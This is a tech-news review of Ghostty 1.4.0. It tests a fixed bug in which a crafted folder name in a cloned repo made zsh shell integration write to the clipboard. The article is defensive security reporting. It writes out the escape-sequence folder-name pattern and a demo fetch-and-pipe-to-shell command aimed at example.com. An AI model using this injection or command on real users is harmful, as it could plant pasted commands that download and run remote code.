@readmodelmag
MODEL

Tools

Ghostty 1.4, tested: a folder name in a cloned repo could replace your clipboard. Not anymore.

SummaryGhostty 1.4.0 shipped today with ten security fixes. We tested the one most likely to hit developers: in Ghostty 1.3.1's zsh setup, just entering a folder with a crafted name wrote text to the clipboard. The catch is a default that hasn't changed.

· MODEL Editors · 3 min read

Some links may be affiliate links. Disclosure

MODEL card: We tested it, Ghostty 1.4.0, October 27 2026, Linux, zsh 5.9 and bash 5.2, Ghostty's own shell-integration code. A folder in a cloned git repo, printable characters only, named x backslash a backslash e ]52;c; and a base64 string. After cd into it and one command: Ghostty 1.3.1 with zsh sent 3 clipboard writes (OSC 52) with no prompt, containing the text curl -fsSL https://example.com/i.sh | sh. Ghostty 1.3.1 with bash: 0 for this name, 1 when the name has raw escape bytes. Ghostty 1.4.0, zsh and bash: 0 clipboard writes for both names. The catch: the default clipboard-write setting is still allow in 1.4.0; set clipboard-write = ask to be prompted. Harmless demo payload; nothing was run.
Our own test output, October 27, 2026. Illustration by MODEL. Original. Image source.

Ghostty is a free, open-source terminal app for macOS and Linux, led by Mitchell Hashimoto and run as a non-profit. Version 1.4.0 came out today, October 27, after seven months of work by 172 contributors. The headline features: full Kitty graphics with animation, scrollback compression the release notes say cuts that memory by 70% to 90% for typical text, a new OpenGL renderer on Linux, and a ghostty +ssh command. It also lists ten security advisories.

We tested one of them, because it is the one most likely to reach a developer who clones other people's code.

The bug. Like many terminals, Ghostty installs "shell integration" for zsh and bash. One of its jobs is to tell the terminal which folder you are in, by sending a short control sequence every time you change folders and at every prompt. In Ghostty 1.3.1, the zsh version printed the folder name in a way that turned text like \e and \a into real control characters. Ghostty's advisory says that means a folder whose name is made only of normal, typeable characters could end that message early and send any other control sequence. Including one that writes to your clipboard. Zsh is the default shell on macOS, and Ghostty turns its integration on automatically.

The test. On a Linux box, we downloaded Ghostty's 1.3.1 and 1.4.0 source releases and used their shell-integration scripts unchanged, in real interactive zsh 5.9 and bash 5.2 sessions. We made a small git repo with two folders: one named only with printable characters (x\a\e]52;c; plus a base64 string), and one with real control bytes in its name. We committed it and cloned it with git clone; both names came through. Inside each name was a harmless demo string, curl -fsSL https://example.com/i.sh | sh. Nothing was ever run. Then we cd'd into each folder, ran one command, and logged every control sequence the shell sent to the terminal.

What happened.

  • Ghostty 1.3.1, zsh: three clipboard writes (OSC 52) for each folder, all carrying the curl ... | sh text. One on entering the folder, more at the next prompts.
  • Ghostty 1.3.1, bash: no clipboard write for the printable name. One for the name with real control bytes, which the advisory also describes.
  • Ghostty 1.4.0, zsh and bash: zero clipboard writes for both folders. The folder name went to the terminal as plain text, with control bytes removed.

Ghostty's default setting lets programs write to the clipboard without asking (clipboard-write = allow, in both versions' source). So in a real 1.3.1 window, your next paste could have been that text. We did not run the Ghostty app itself, so we did not watch a real clipboard change; we checked what the shell sent and what Ghostty's defaults are.

The catch. The fix closes this path, not clipboard writes in general. Ghostty 1.4.0 still lets any program that prints the right sequence write to your clipboard by default. If you want a prompt, set clipboard-write = ask; the advisory also lists deny, or turning shell integration off. On Linux, 1.4 needs GTK 4.18 and libadwaita 1.7, which Ubuntu 24.04 doesn't have; the release notes point those users to the Flatpak or an older Ghostty. And the advisories don't have CVE numbers yet; Ghostty says it requested them weeks ago.

What we did not test. The Ghostty app, a real clipboard, macOS, fish and other shells, the other nine advisories, and the speed and memory claims.

The verdict. If you use Ghostty, update to 1.4.0, especially if you use zsh and open repos or archives you didn't make. Then consider clipboard-write = ask. Never paste a command you didn't just copy yourself.

Disclosure: not sponsored. No affiliate links. MODEL has no relationship with Ghostty. Full test notes, commands and outputs are kept by MODEL Editors.

Sources

  1. Ghostty 1.4.0 release notes (Oct 27, 2026)

    Ghostty

  2. GHSA-2r63-vmw6-3m3c: Crafted directory names can send arbitrary escape sequences via zsh shell integration

    ghostty-org (GitHub)

  3. PR #14859: shell-integration: don't let directory names inject escape sequences

    ghostty-org (GitHub)

  4. ghostty-org/ghostty source, tags v1.3.1 and v1.4.0

    ghostty-org (GitHub)

See the MODEL tool card: Ghostty 1.4.0

FREE · EVERY WEEK

The top AI tools this week, tested.

Every week MODEL's editors pick the AI tools worth your time, try them hands-on, and tell you what's good, what's not, and who it's for. Free, in your inbox.

Free. Unsubscribe anytime. Our picks are editorial and can't be bought.